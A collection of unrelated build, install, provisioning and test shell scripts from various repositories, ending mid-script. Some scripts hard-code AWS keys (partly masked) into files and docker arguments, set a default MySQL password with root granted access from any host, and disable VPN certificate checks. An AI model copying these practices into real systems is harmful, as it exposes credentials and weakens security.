OMP_NUM_THREADS=1\nexport MKL_NUM_THREADS=1\nmodel_name_or_path=bert-base-cased\n\n# this is also defined in utils.py, make sure to change both when changing.\noutput_dir=../models/${model_name_or_path}_${train_suffix}\n\nCUDA_VISIBLE_DEVICES=$GPU python train_text_classifier.py \\\n --model_name_or_path ${model_name_or_path} \\\n --task_name ${dataset_name} \\\n --train_suffix ${train_suffix} \\\n --test_suffix \"\" \\\n --output_dir ${output_dir} \\\n --do_train \\\n --do_eval \\\n --evaluate_during_training \\\n --learning_rate 5e-5 \\\n --num_train_epochs 3.0 \\\n --max_seq_length 512 \\\n --per_gpu_train_batch_size 32 \\\n --per_gpu_eval_batch_size 32 \\\n --logging_steps 100000 \\\n --save_steps -1"} {"text": "JXQI/mmdetectionscript/train_coco.sh\npython tools/train.py configs/X-ray/faster_rcnn_r50_fpn_2x_coco.py \\\n --work-dir /media/victoria/9c3e912e-22e1-476a-ad55-181dbde9d785/jinxiaoqiang/X-ray-workdir/faster_rcnn_r50_fpn_2x_coco_Albu"} {"text": "#!/bin/bash\nset -e\n\nJAVA_HOME=$(readlink -f `which javac` | sed \"s:/bin/javac::\")\n\napt-get update\napt-get -y install autoconf build-essential nasm libtool ruby ruby-dev\ngem install fpm\ncd /local/work/libjpeg-turbo\nmkdir -p ./build\ncd ./build\nJNI_CFLAGS=\"-I$JAVA_HOME/include -I/usr/include -I$JAVA_HOME/include/linux\" ../configure --with-java\nJAVA_TOOL_OPTIONS=-Dfile.encoding=UTF8 make\ncp .libs/libturbojpeg.so.0.1.0 ../../libturbojpeg-jni.so\ncd ../../\nfpm -s dir -t deb -n libturbojpeg-jni -v 1.5.1 --prefix /usr/lib libturbojpeg-jni.so\nrm -rf libturbojpeg-jni.so libjpeg-turbo/build\nchmod a+rw *.deb"} {"text": "1-10\n#!/bin/bash\n\nsource $SOE_INSTALL/bin/common/prop.sh\n\nset-gnome-theme() {\n gsettings set org.gnome.desktop.interface gtk-theme $GNOME_THEME\n gsettings set org.gnome.desktop.wm.preferences theme $GNOME_THEME\n}\n\nset-gnome-icon-theme() {\n gsettings set org.gnome.desktop.interface icon-theme $GNOME_ICON_THEME\n}\n\nset-gnome-background() {\n gsettings set org.gnome.desktop.background picture-uri \"file:///${GNOME_BACKGROUND_LOCATION}\"\n}\n\nconfigure-gnome-launcher() {\n gsettings set com.canonical.Unity.Launcher launcher-position $GNOME_LAUNCHER_POSITION\n gsettings set com.canonical.Unity.Launcher favorites \"['application://org.gnome.Nautilus.desktop', 'application://gnome-terminal.desktop', 'application://unity-control-center.desktop', 'unity://running-apps', 'unity://desktop-icon', 'unity://expo-icon', 'unity://devices']\"\n}\n\nGNOME_THEME=$(prop 'gnome.theme')\nGNOME_ICON_THEME=$(prop 'gnome.icon.theme')\nGNOME_BACKGROUND_LOCATION=$(prop 'gnome.background')\nGNOME_LAUNCHER_POSITION=$(prop 'gnome.launcher.position')\n\nset-gnome-theme\nset-gnome-icon-theme\nset-gnome-background\nconfigure-gnome-launcher"} {"text": "# default to JRF domain which filters out JRF libraries and applications\n# If the domain is not JRF, the content would not be present so filterign it out will not make a difference\nDOMAIN_TYPE=JRF\n\n# clean up before starting\nrm source.* || echo \"clean startup\"\n\necho \"Discovering the source domain...\"\nweblogic-deploy/bin/discoverDomain.sh \\\n -oracle_home $MW_HOME \\\n -domain_home $DOMAIN_HOME \\\n -archive_file source.zip \\\n -model_file source.yaml \\\n -variable_file source.properties \\\n -domain_type $DOMAIN_TYPE\n\n\nif [[ \"$(cat source.yaml | grep '@@ORACLE_HOME@@' | wc -l)\" != \"0\" ]]; then\n echo \"Some of the application files are located within the ORACLE_HOME and won't be extracted by WDT\"\n echo \"Extracting those files and updating paths in the model file...\"\n rm -rf ./wlsdeploy/\n mkdir -p ./wlsdeploy/applications;\n cp $(cat source.yaml | grep '@@ORACLE_HOME@@' | sed \"s|.*: '@@ORACLE_HOME@@\\(.*\\)'|${ORACLE_HOME}\\1|\") ./wlsdeploy/applications/;\n zip -r source.zip ./wlsdeploy;\n rm -rf ./wlsdeploy/\n sed -i \"s|@@ORACLE_HOME@@|wlsdeploy\\/applications|g;\" source.yaml\nfi"} {"text": "Old-Time Stories3/getLex.sh\ncp ../../lexicon/lexicon.js ."} {"text": "junhocho/ShapeMatchingGAN\n#!/bin/bash\npython trainSketchModule.py \\\n--text_path ../data/rawtext/yaheiB/train --text_datasize 708 \\\n--augment_text_path ../data/rawtext/augment --augment_text_datasize 5 \\\n--batchsize 16 --Btraining_num 12800 \\\n--save_GB_name ../save/GB.ckpt \\\n--gpu"} {"text": "#!/usr/bin/env bash\n\nset -x\nset -o errexit\nset -o nounset\nset -o pipefail\n\nSSD_NVME_DEVICE_LIST=($(ls /sys/block | grep nvme | xargs -I. echo /dev/. || true))\nSSD_NVME_DEVICE_COUNT=${#SSD_NVME_DEVICE_LIST[@]}\nRAID_DEVICE=${RAID_DEVICE:-/dev/md0}\nRAID_CHUNK_SIZE=${RAID_CHUNK_SIZE:-512} # Kilobytes\nFILESYSTEM_BLOCK_SIZE=${FILESYSTEM_BLOCK_SIZE:-4096} # bytes\nSTRIDE=$(expr $RAID_CHUNK_SIZE \\* 1024 / $FILESYSTEM_BLOCK_SIZE || true)\nSTRIPE_WIDTH=$(expr $SSD_NVME_DEVICE_COUNT \\* $STRIDE || true)\n\n# if [ ! -d \"/pv-disks\" ]; then\n# dir should already be created by kube\n# fi\n\n# Checking if provisioning already happend\nif [[ \"$(ls -A /pv-disks)\" ]]\nthen\n echo 'Volumes already present in \"/pv-disks\"'\n echo -e \"\\n$(ls -Al /pv-disks | tail -n +2)\\n\"\n echo \"I assume that provisioning already happend, doing nothing!\"\n sleep infinity\nfi\n\ncase $SSD_NVME_DEVICE_COUNT in\n\"0\")\n echo 'No NVMe devices found, check the instance SKU if you expect them to appear.'\n exit 1\n ;;\n\"1\")\n mkfs.ext4 -m 0 -b $FILESYSTEM_BLOCK_SIZE $SSD_NVME_DEVICE_LIST\n DEVICE=$SSD_NVME_DEVICE_LIST\n ;;\n*)\n mdadm --create --verbose $RAID_DEVICE --level=0 -c ${RAID_CHUNK_SIZE} \\\n --raid-devices=${#SSD_NVME_DEVICE_LIST[@]} ${SSD_NVME_DEVICE_LIST[*]}\n while [ -n \"$(mdadm --detail $RAID_DEVICE | grep -ioE 'State :.*resyncing')\" ]; do\n echo \"Raid is resyncing..\"\n sleep 1\n done\n echo \"Raid0 device $RAID_DEVICE has been created with disks ${SSD_NVME_DEVICE_LIST[*]}\"\n mkfs.ext4 -m 0 -b $FILESYSTEM_BLOCK_SIZE -E stride=$STRIDE,stripe-width=$STRIPE_WIDTH $RAID_DEVICE\n DEVICE=$RAID_DEVICE\n ;;\nesac\n\nUUID=$(blkid -s UUID -o value $DEVICE)\nmkdir -p /pv-disks/$UUID\nmount -o defaults,noatime,discard,nobarrier --uuid $UUID /pv-disks/$UUID\necho \"Device $DEVICE has been mounted to /pv-disks/$UUID\"\necho \"NVMe SSD provisioning is done, sleeping\"\n\nsleep infinity"} {"text": "tests/core/set-scripts-dir.bats10-100\n#! /usr/bin/env bats\n\nload ../environment\n\nsetup() {\n @go.create_test_go_script\n}\n\nteardown() {\n @go.remove_test_go_rootdir\n}\n\n@test \"$SUITE: scripts dir successfully set\" {\n run \"$TEST_GO_SCRIPT\"\n assert_success\n}\n\n@test \"$SUITE: produce an error if more than one dir specified when sourced\" {\n # Overwrite the entire script to force the multiple dir error.\n echo \"#! /usr/bin/env bash\" >\"$TEST_GO_SCRIPT\"\n echo \". '$_GO_ROOTDIR/go-core.bash' \" \\\n \"'$TEST_GO_SCRIPTS_RELATIVE_DIR' 'test/scripts'\" >>\"$TEST_GO_SCRIPT\"\n\n run \"$TEST_GO_SCRIPT\"\n assert_failure \\\n 'ERROR: there should be exactly one command script dir specified'\n}\n\n@test \"$SUITE: produce an error if the script dir does not exist\" {\n local expected='ERROR: command script directory '\n expected+=\"$TEST_GO_SCRIPTS_DIR does not exist\"\n\n rm -rf \"$TEST_GO_SCRIPTS_DIR\"\n run \"$TEST_GO_SCRIPT\"\n assert_failure \"$expected\"\n}\n\n@test \"$SUITE: produce an error if the script dir isn't a directory\" {\n rm -rf \"$TEST_GO_SCRIPTS_DIR\"\n printf '' >\"$TEST_GO_SCRIPTS_DIR\"\n run \"$TEST_GO_SCRIPT\"\n assert_failure \"ERROR: $TEST_GO_SCRIPTS_DIR is not a directory\"\n}\n\n@test \"$SUITE: produce an error if the script dir can't be read or accessed\" {\n skip_if_cannot_trigger_file_permission_failure\n\n local expected=\"ERROR: you do not have permission to access the \"\n expected+=\"$TEST_GO_SCRIPTS_DIR directory\"\n\n chmod 200 \"$TEST_GO_SCRIPTS_DIR\"\n run \"$TEST_GO_SCRIPT\"\n assert_failure \"$expected\"\n\n chmod 600 \"$TEST_GO_SCRIPTS_DIR\"\n run \"$TEST_GO_SCRIPT\"\n assert_failure \"$expected\"\n}"} {"text": "0\n#!/bin/sh\n\nexport JAVA_HOME=$JAVA8_HOME\nexport CLASSPATH=.:$JAVA_HOME/lib\nexport PATH=$JAVA_HOME/bin:$PATH\nexport JAVA_OPTS='-server -Xms1200m -Xmx1500m'\n\njava -version\n\ncd ..\npwd\n\necho [INFO] mvn package...\nmvn clean package -Dmaven.test.skip=true"} {"text": "#!/bin/bash\nset -e\nxxd $1 | split -b 1GB -d --additional-suffix \".txt\" - \"$1.\"\nfor HEXFILE in $1.*.txt;\n do\n zip -m9 $HEXFILE.zip $HEXFILE\ndone\nsha256sum $1 > $1_sha256.txt\nzip -mu $1.00.txt.zip $1_sha256.txt"} {"text": "jhermsmeier/osrm-backend\n#!/usr/bin/env bash\n\nMASON_NAME=mesa\nMASON_VERSION=10.3.5\nMASON_LIB_FILE=lib/libGL.so\nMASON_PKGCONFIG_FILE=lib/pkgconfig/gl.pc\n\n. ${MASON_DIR}/mason.sh\n\nfunction mason_load_source {\n mason_download \\\n ftp://ftp.freedesktop.org/pub/mesa/10.3.5/MesaLib-10.3.5.tar.gz \\\n 04b9046dfc9aa1558b939aae7032b80e411ff0e0\n\n mason_extract_tar_gz\n\n export MASON_BUILD_PATH=${MASON_ROOT}/.build/Mesa-10.3.5\n}\n\nfunction mason_compile {\n CXXFLAGS=-std=c++11 ./autogen.sh \\\n --prefix=${MASON_PREFIX} \\\n ${MASON_HOST_ARG} \\\n --enable-shared \\\n --with-gallium-drivers=svga,swrast \\\n --disable-dri \\\n --enable-xlib-glx \\\n --enable-glx-tls \\\n --with-llvm-prefix=/usr/lib/llvm-3.4 \\\n --without-va\n\n make install\n}\n\nfunction mason_strip_ldflags {\n shift # -L...\n shift # -luv\n echo \"$@\"\n}\n\nfunction mason_ldflags {\n mason_strip_ldflags $(`mason_pkgconfig` --static --libs)\n}\n\nfunction mason_clean {\n make clean\n}\n\nmason_run \"$@\""} {"text": "#! /usr/bin/env bash\n\nversion=\"1.0.2\"\n\ncd ../\n\necho \"===== BUILDING IOS RELEASE ======\"\n\nionic cordova build ios --prod\n#cp \"platforms/ios/build/device/Poloniex.ipa\" \"release/ios/poloniex-v\"$version\"_signed.ipa\"\n\n\necho \"===== BUILDING ANDROID RELEASE =====\"\n\nionic cordova build android --prod --release\n\napk=\"platforms/android/build/outputs/apk/android-release-unsigned.apk\"\nsigned=\"release/android/poloniex-v\"$version\"_signed.apk\"\n\nrm $signed\n\njarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore release/android/arthurchaloin.jks $apk chaloin\n~/Library/Android/sdk/build-tools/25.0.3/zipalign -v 4 $apk $signed\n~/Library/Android/sdk/build-tools/25.0.3/apksigner verify $signed"} {"text": "#!/bin/bash\n\ndocker run -u root --rm -it --network host -v \"$PWD:/src\" --entrypoint /src/scripts/docker-run.sh nodered/node-red:latest-12-minimal"} {"text": "icon/create_icon_png.sh\n# install the open source program inkscape to convert the logo vector graphic to any wanted size\n# https://inkscape.org/en/ - Check if nothing works if inkscape is in the path variable\necho \"Convert the logo icon.svg to a 256x256px icon.png image:\"\ninkscape -f icon.svg -e icon.png --export-width=256 --export-height=256\necho \"Convert the installer picture installer.svg to a 164x314px installer.png image:\"\ninkscape -f installer.svg -e installer.png --export-width=164 --export-height=314\necho \"Conversion is ready\""} {"text": "srcs/docker-controls/o-clean-container.sh1-10\n#\"/bin/bash\n\ndocker container rm -f ft_container"} {"text": "mdavyt92/personal-config\n#!/bin/bash\n\necho \"--> Copying dot files\"\nfind . -maxdepth 1 -type f -iname \".*\" -exec cp {} ~/ \\;\n\necho \"--> Sourcing custom .bashrc files\"\nfor file in .*.bashrc; do\n grep -q \"source ~/$file\" ~/.bashrc || echo \"source ~/$file\" >> ~/.bashrc\ndone"} {"text": "1-10\n#!/bin/bash\n\necho \"Install MySQL v5.7.\"\n\n# Add Repo.\ndnf install -y https://repo.mysql.com/yum/mysql-5.7-community/el/7/x86_64/mysql57-community-release-el7-10.noarch.rpm\n\n# Install.\ndnf install -y mysql-community-server\n\n# Enable and start service.\nsystemctl enable mysqld\nsystemctl start mysqld\nsleep 5\n\n# The scripts must run after vagrant up.\n\ncat > /tmp/MySQL_Config_1.sh << EOF\n#!/bin/bash\n\nVar=\\`grep 'temporary password' /var/log/mysqld.log\\`\nInitPassword=\\${Var##* }\necho \"Init Password = \"\\$InitPassword\n\n# User / Password: root / \n# Database: mysql\necho \"Change initial password.\"\necho \"Login mysql console:\"\necho \"$ mysql -u root -p\"\necho \"Then change to new password:\"\necho \"> ALTER USER root@localhost IDENTIFIED BY \\\"P@ssw0rd\\\";\"\nEOF\n\ncat > /tmp/MySQL_Config_2.sh << EOF\n#!/bin/bash\n\nNewPassword=\necho \"Prepare root user.\"\n\nmysql -u root -p\\$NewPassword -e 'CREATE USER root@'\"'\"'%'\"'\"' IDENTIFIED BY \"'\\$NewPassword'\";'\nmysql -u root -p\\$NewPassword -e 'GRANT ALL ON *.* TO root@localhost WITH GRANT OPTION;'\nmysql -u root -p\\$NewPassword -e 'GRANT ALL ON *.* TO root@'\"'\"'%'\"'\"' WITH GRANT OPTION;'\n\necho \"Restart service.\"\nsudo systemctl restart mysqld\nsleep 5\n\n# User / Password: tester / \n# Database: test\nTestDb=test\nTestUser=tester\nTestPassword=\necho \"Test Password = \"\\\necho \"Prepare test DB and tester user.\"\n\nmysql -u root -p\\$NewPassword -e 'CREATE DATABASE '\\$TestDb';'\nmysql -u root -p\\$NewPassword -e 'CREATE USER '\\$TestUser'@localhost IDENTIFIED BY \"'\\$TestPassword'\";'\nmysql -u root -p\\$NewPassword -e 'CREATE USER '\\$TestUser'@'\"'\"'%'\"'\"' IDENTIFIED BY \"'\\$TestPassword'\";'\nmysql -u root -p\\$NewPassword -e 'GRANT ALL ON '\\$TestDb'.* TO '\\$TestUser'@localhost WITH GRANT OPTION;'\nmysql -u root -p\\$NewPassword -e 'GRANT ALL ON '\\$TestDb'.* TO '\\$TestUser'@'\"'\"'%'\"'\"' WITH GRANT OPTION;'\nEOF\n\nchmod +x /tmp/MySQL_Config_*.sh\n\necho \"Please run \\\"/tmp/MySQL_Config_1.sh\\\" and then \\\"/tmp/MySQL_Config_2.sh\\\".\""} {"text": "#!/bin/bash\n#\nsource /setupmu2e-art.sh\nexport TUTORIAL_BASE=/Tutorials_2019\nexport TUTORIAL_DATA=$TUTORIAL_BASE/data\nexport TUTORIAL_OFFLINE=/Offline"} {"text": "10-100\n#!/bin/bash\n\nset -eu\n\nCUR=$(cd \"$(dirname \"${BASH_SOURCE[0]}\")\" && pwd)\nsource $CUR/../_utils/test_prepare\nWORK_DIR=$OUT_DIR/$TEST_NAME\nCDC_BINARY=cdc.test\nSINK_TYPE=$1\n\nfunction run() {\n\t# No need to test kafka.\n\tif [ \"$SINK_TYPE\" == \"kafka\" ]; then\n\t\treturn\n\tfi\n\n\trm -rf $WORK_DIR && mkdir -p $WORK_DIR\n\n\tstart_tidb_cluster --workdir $WORK_DIR\n\n\tcd $WORK_DIR\n\n\t# record tso before we create tables to skip the system table DDLs\n\tstart_ts=$(cdc cli tso query --pd=http://$UP_PD_HOST_1:$UP_PD_PORT_1)\n\n\trun_cdc_server --workdir $WORK_DIR --binary $CDC_BINARY\n\tSINK_URI=\"mysql://normal:123456@127.0.0.1:3306/\"\n\trun_cdc_cli changefeed create --start-ts=$start_ts --sink-uri=\"$SINK_URI\" --config $CUR/conf/force_replicate.toml\n\n\trun_sql_file $CUR/data/test.sql ${UP_TIDB_HOST} ${UP_TIDB_PORT}\n\t# sync_diff can't check non-exist table, so we check expected tables are created in downstream first\n\n\tcheck_table_exists sequence_test.t1 ${DOWN_TIDB_HOST} ${DOWN_TIDB_PORT}\n\techo \"check table exists success\"\n\tcheck_sync_diff $WORK_DIR $CUR/conf/diff_config.toml 60\n\n\t# TiCDC discards all SEQUENCE DDL for now.\n\t# See https://github.com/pingcap/tiflow/issues/4559\n\t! run_sql \"SHOW CREATE SEQUENCE sequence_test.seq0;\" ${DOWN_TIDB_HOST} ${DOWN_TIDB_PORT}\n\trun_sql \"DROP SEQUENCE sequence_test.seq0;\" ${UP_TIDB_HOST} ${UP_TIDB_PORT}\n\n\t# Make sure changefeed is normal.\n\trun_sql \"CREATE table sequence_test.mark_table(id int primary key);\" ${UP_TIDB_HOST} ${UP_TIDB_PORT}\n\tcheck_table_exists \"sequence_test.mark_table\" ${DOWN_TIDB_HOST} ${DOWN_TIDB_PORT} 90\n\n\tcleanup_process $CDC_BINARY\n}\n\ntrap stop_tidb_cluster EXIT\nrun $*\ncheck_logs $WORK_DIR\necho \"[$(date)] <<<<<< run test case $TEST_NAME success! >>>>>>\""} {"text": "0\n#!/usr/bin/bash\n\necho \"Changing to home directory...\"\npushd \"$HOME\"\n\necho \"Update the repository and any packages...\"\nsudo apt update && sudo apt upgrade -y\n\necho \"Install prerequisite packages...\"\nsudo apt install wget curl unzip -y\n\necho \"Download the latest Chrome .deb file...\"\nwget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb\n\necho \"Install Google Chrome...\"\nsudo dpkg -i google-chrome-stable_current_amd64.deb\n\necho \"Fix dependencies...\"\nsudo apt --fix-broken install -y\n\nchrome_version=($(google-chrome-stable --version))\necho \"Chrome version: ${chrome_version[2]}\"\n\nchromedriver_version=$(curl \"https://chromedriver.storage.googleapis.com/LATEST_RELEASE\")\necho \"Chromedriver version: ${chromedriver_version}\"\nif [ \"${chrome_version[2]}\" == \"$chromedriver_version\" ]; then\n echo \"Compatible Chromedriver is available...\"\n echo \"Proceeding with installation...\"\nelse\n echo \"Compabible Chromedriver not available...exiting\"\n exit 1\nfi\n\necho \"Downloading latest Chromedriver...\"\ncurl -Lo chromedriver_linux64.zip \"https://chromedriver.storage.googleapis.com/${chromedriver_version}/chromedriver_linux64.zip\"\n\necho \"Unzip the binary file and make it executable...\"\nmkdir -p \"chromedriver/stable\"\nunzip -q \"chromedriver_linux64.zip\" -d \"chromedriver/stable\"\nchmod +x \"chromedriver/stable/chromedriver\"\n\n# echo \"Install Selenium...\"\n# python3 -m pip install selenium\n\npopd"} {"text": "0\niquery -aq \"limit(apply(test, stare_temporal, convDateTime2TimeT(time_stamp)), 10);\"\niquery -aq \"limit(apply(test, stare_spatial, stareFromLevelLatLon(12, lat, lon)), 10);\"\niquery -aq \"limit(apply(test, stare_temporal, stareFromUTCDateTime(12, time_stamp)), 10);\"\n\niquery -aq \"limit(apply(test, stare_spatial, latLonFromStare(stareFromLevelLatLon(12, lat, lon))), 10);\"\niquery -aq \"limit(apply(test, stare_temporal, datetimeFromStare(stareFromUTCDateTime(12, time_stamp))), 10);\""} {"text": "src/wavestate/iirrational/+IIRrational/+utilities/inotify_touch.sh\n#!/usr/bin/env bash\n\nwhile read -r mdir op mfile\ndo\n if [ ! -f $1 ]\n then\n break\n fi\n\n touch $1\ndone < <(exec -a inotify_touch inotifywait -m -r -e modify -e delete -e delete_self -e move -e move_self . )"} {"text": "rstanleyhum/playground\n#!/bin/bash\n\necho $ANYCONNECT_PASSWORD|openconnect $ANYCONNECT_SERVER --user=$ANYCONNECT_USER --authgroup=$ANYCONNECT_GROUP --no-cert-check -b\n\nsleep 5\n\niptables -t nat -A POSTROUTING -o tun0 -j MASQUERADE\niptables -A FORWARD -i eth0 -j ACCEPT\n\nroute del -net 172.17.0.0 netmask 255.255.240.0 dev tun0\n\n/bin/bash"} {"text": "p0larstern/kf0\n#!/usr/bin/env sh\n\n# Copyright 2019 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the License);\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an AS IS BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nset -eux\n\n# Change to the project root directory\ncd \"${0%/*}\"/..\n\n# Used to suffix the artifacts\ncurrent_time=$(date +%s)\n\n# Build artifacts\n# NOTE: This will login to gcloud for us.\ntmp_dir=$(mktemp -d)\n./hack/build-release.sh ${tmp_dir}\n\n# save release to a bucket\nrelease_name=release-${current_time}.yaml\ngsutil cp ${tmp_dir}/release.yaml ${RELEASE_BUCKET}/${release_name}\n\n# Make this the latest\ngsutil cp ${RELEASE_BUCKET}/${release_name} ${RELEASE_BUCKET}/release-latest.yaml\n\n# Upload the binaries\nfor cli in $(ls ${tmp_dir}/bin); do\n # Extract file extensions (e.g., .exe)\n filename=$(basename -- \"${cli}\")\n extension=\"${filename##*.}\"\n filename=\"${filename%.*}\"\n\n destination=${filename}-${current_time}\n latest_destination=${filename}-latest\n\n # Check to see if it has a file extension\n if [ \"${extension}\" != \"${filename}\" ]; then\n destination=${destination}.${extension}\n latest_destination=${latest_destination}.${extension}\n fi\n\n # Upload\n gsutil cp ${tmp_dir}/bin/${cli} ${CLI_RELEASE_BUCKET}/${destination}\n\n # Make this the latest\n gsutil cp ${CLI_RELEASE_BUCKET}/${destination} ${CLI_RELEASE_BUCKET}/${latest_destination}\ndone"} {"text": "##rsync -r --del --delete-excluded --exclude=\".git/\" src/packages/* build/\ntrash build/*\nfor group in src/*; do\n\tfor package in \"$group\"/*; do\n\t\trsync -r --exclude=\".git/\" \"$package\"/* build/\n\tdone\ndone"} {"text": "#!/bin/bash\n\n# Copyright (c) 2021 by Apex.AI Inc. All rights reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n# SPDX-License-Identifier: Apache-2.0\n\nset -e\n\nSCOPE=${1:-full} # Can be either `full` for all files or `hook` for formatting with git hooks\n\n\nfail() {\n printf \"\\033[1;31merror: %s: %s\\033[0m\\n\" ${FUNCNAME[1]} \"${1:-\"Unknown error\"}\"\n exit 1\n}\n\nhash git || fail \"git not found\"\n\n# Check if we have at least a specific clang-format version installed\nCLANG_FORMAT_VERSION=12\nCLANG_FORMAT_CMD=\"clang-format-$CLANG_FORMAT_VERSION\"\nif ! command -v $CLANG_FORMAT_CMD &> /dev/null\nthen\n CLANG_FORMAT_MAJOR_VERSION=$(clang-format --version | sed -rn 's/.*([0-9][0-9])\\.[0-9].*/\\1/p')\n if [[ $CLANG_FORMAT_MAJOR_VERSION -lt \"$CLANG_FORMAT_VERSION\" ]]; then\n echo \"Warning: clang-format version $CLANG_FORMAT_VERSION or higher is not installed.\"\n echo \"Code will not be formatted.\"\n exit 0\n else\n CLANG_FORMAT_CMD=\"clang-format\"\n fi\nfi\n\ncd \"$(git rev-parse --show-toplevel)\"\n\nif [[ \"$SCOPE\" == \"hook\"* ]]; then\n cpp_files=$(git diff --cached --name-only --diff-filter=ACMRT | grep -E \"\\.(c|cpp|inl|h|hpp)$\" | cat)\n if [[ -n ${cpp_files} ]]; then\n\n echo \"Running clang-format on the following file(s):\"\n echo \"--------------------------------------------\"\n echo \"${cpp_files}\" | sed 's/^/\\ -\\ /g'\n echo\n\n for file in $cpp_files ; do\n if [ -f \"$file\" ]; then\n $CLANG_FORMAT_CMD -i -style=file \"${file}\"\n git add \"${file}\"\n fi\n done\n fi\nelif [[ \"$SCOPE\" == \"full\"* ]]; then\n git ls-files | grep -E \"\\.(c|cpp|inl|h|hpp)$\" | xargs clang-format -i -style=file --Werror\nelif [[ \"$SCOPE\" == \"check\"* ]]; then\n git ls-files | grep -E \"\\.(c|cpp|inl|h|hpp)$\" | xargs clang-format -i -style=file --Werror --dry-run\nfi"} {"text": "kubectl apply -f https://storage.googleapis.com/tekton-releases/pipeline/latest/release.yaml\nkubectl apply -f https://storage.googleapis.com/tekton-releases/triggers/latest/release.yaml\nkubectl get svc,deploy --namespace tekton-pipelines --selector=app.kubernetes.io/part-of=tekton-pipelines\n\nkubectl apply -f https://storage.googleapis.com/tekton-releases/dashboard/latest/tekton-dashboard-release.yaml\nkubectl get svc,deploy -n tekton-pipelines --selector=app=tekton-dashboard\n\n\nexport url=\"https://github.com/tektoncd/cli/releases/download/v0.17.0/tkn_0.17.0_Linux_x86_64.tar.gz\"\ncurl -L $url | tar xzvf - --directory $(pwd)/bin tkn\nchmod +x $(pwd)/bin/*"} {"text": "#! /bin/sh\nyum update -y\namazon-linux-extras install docker\nservice docker start\nusermod -a -G docker ec2-user\nchkconfig docker on\n\n# make aws cred files\nmkdir /home/ec2-user/.aws\n\n# create aws auth folders and files\ncat > /home/ec2-user/.aws/credentials << EOF1\n[default]\naws_access_key_id=ASI************F4\naws_secret_access_key=u4*******************CA\naws_session_token=\nEOF1\n\ncat > /home/ec2-user/.aws/config << EOF2\n[default]\nregion=us-east-1\noutput=json\nEOF2\n\n# launch container from private ECR\n# commands are appended to startup script for ec2 instances\naws ecr get-login-password --region us-east-1 | docker login --username AWS --password-stdin 2********3.dkr.ecr.us-east-1.amazonaws.com >> /home/ec2-user/.bashrc\ndocker run -d -e PORT=80 -e AWS_ACCESS_KEY_ID='ASI************F4' -e AWS_SECRET_ACCESS_KEY='u4*******************CA' -e AWS_SESSION_TOKEN='' -p 80:80 2*******3.dkr.ecr.us-east-1.amazonaws.com/rpi-aws:0.0.4 >> /home/ec2-user/.bashrc\n\n# just to make sure add startup commands to root user as well (may be redundant)\naws ecr get-login-password --region us-east-1 | docker login --username AWS --password-stdin 2********3.dkr.ecr.us-east-1.amazonaws.com >> /home/ec2-user/.bashrc\ndocker run -d -e PORT=80 -e AWS_ACCESS_KEY_ID='ASI************F4' -e AWS_SECRET_ACCESS_KEY='u4*******************CA' -e AWS_SESSION_TOKEN='' -p 80:80 2*******3.dkr.ecr.us-east-1.amazonaws.com/rpi-aws:0.0.4 >> /home/ec2-user/.bashrc"} {"text": "ARCCN/elt1-10\nfor file in `cat scripts/common.list`; do\n diff server/ext/debugger/elt/$file adapters/pox/ext/debugger/elt/$file;\ndone"} {"text": "junland/myOS\n#!/bin/bash\nset -e\nexport top=$(pwd)\necho Cleaning!\n. config.txt\nrm -rf $MYOS logs stage"} {"text": "as@debian:~/Documents$ \nsudo apt-get update && sudo apt-get install vim git"} {"text": "phmullins/dotfiles\n#!/usr/bin/env bash\n# updot v0.1.2.\n# A script that Updates all of my DOT files.\n# by ().\n# Created 2018-09-09 @ 08:24 AM. | Updated 2019-07-27 @ 06:42 AM.\n\n# Clear the screen.\nclear\n\n# Assign destination paths to variables.\nscripts=~/Development/desktop/macOS/macos_dotfiles/macOS/bin\ndotfiles=~/Development/desktop/macOS/macos_dotfiles/macOS/dotfiles\n\n# Use rsync to copy files to the destination folders.\nrsync ~/bin/* $scripts\nrsync ~/.aliases $dotfiles\nrsync ~/.ansible.cfg $dotfiles\nrsync ~/.bash_profile $dotfiles\nrsync ~/.dircolors $dotfiles\nrsync ~/.exports $dotfiles\nrsync ~/.gitconfig $dotfiles\nrsync ~/.gitignore_global $dotfiles\nrsync ~/.hgignore_global $dotfiles\nrsync ~/.hushlogin $dotfiles\nrsync ~/.profile $dotfiles\necho \"\"\necho \"Finished. Don't forget to commit your changes!\"\necho \"\""} {"text": "ssabrii/single_cell_portal_core\n#!/usr/bin/env bash\n\n# script that is called when booting portal in test environment to run all unit tests in the correct order as some\n# tests change downstream behavior after they've run\n#\n# can take the following arguments:\n#\n# -t filepath Run all tests in the specified file\n# -R regex Run all matching tests in the file specified with -t\n\nwhile getopts \"t:R:\" OPTION; do\ncase $OPTION in\n t)\n TEST_FILEPATH=\"$OPTARG\"\n ;;\n R)\n MATCHING_TESTS=\"$OPTARG\"\n ;;\n esac\ndone\nstart=$(date +%s)\nRETURN_CODE=0\nFAILED_COUNT=0\necho \"Precompiling assets, yarn and webpacker...\"\nRAILS_ENV=test NODE_ENV=test bin/bundle exec rake assets:clean\nRAILS_ENV=test NODE_ENV=test bin/bundle exec rake assets:precompile\necho \"Seeding test database...\"\nbundle exec rake RAILS_ENV=test db:seed\necho \"Database initialized, generating random test seed...\"\nRANDOM_SEED=`openssl rand -hex 16`\necho $RANDOM_SEED > /home/app/webapp/.random_seed\necho \"Launching tests using seed: $RANDOM_SEED\"\nif [ \"$TEST_FILEPATH\" != \"\" ]\nthen\n if [ \"$MATCHING_TESTS\" != \"\" ]\n then\n EXTRA_ARGS=\"-n $MATCHING_TESTS\"\n fi\n echo \"Running specified tests: $TEST_FILEPATH $EXTRA_ARGS\"\n bundle exec ruby -I test $TEST_FILEPATH $EXTRA_ARGS\n code=$? # immediately capture exit code to prevent this from getting clobbered\n if 